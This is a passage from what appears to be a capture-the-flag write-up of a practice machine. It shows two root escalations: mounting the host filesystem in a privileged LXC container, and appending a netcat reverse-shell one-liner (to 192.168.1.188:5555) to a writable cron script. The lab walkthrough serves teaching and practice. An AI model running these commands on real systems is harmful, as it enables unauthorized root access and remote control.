lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
As you can see, my output is a little garbled, but it works!
mnt/root/root
ls
cat flag.txt
Privilege Escallation Method #2 — NetCat Runs As Root
When going through privilege escallation, it’s important to see what programs run as root. I looked through my linpeas script output and did not see this before, but with some manual poking around, I saw that NetCat was running with root privileges.
ls -l /bin
The .backup.sh script is running every 2 minutes according to our crontab:
So, if we have a writable cron job and we have a process that is running with root privileges, we can combine them together for a quick root shell. Let’s take this one liner from Pentester Monkey and run with it:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.188 5555 >/tmp/f
cd /home/funny
echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.188 5555 >/tmp/f” >>.backup.sh
Set up your NetCat listener and wait. Eventually, a root shell will be sent back to you. You might get a few shells back from funny, but if you wait long enough, you’ll get a root shell:
All in all, this was a pretty fun box. It had a few little rabbit holes in it, but it was fairly easy. I hope you enjoyed this write-up! Coming up next, photographer! Follow me on Twitter @assume_breach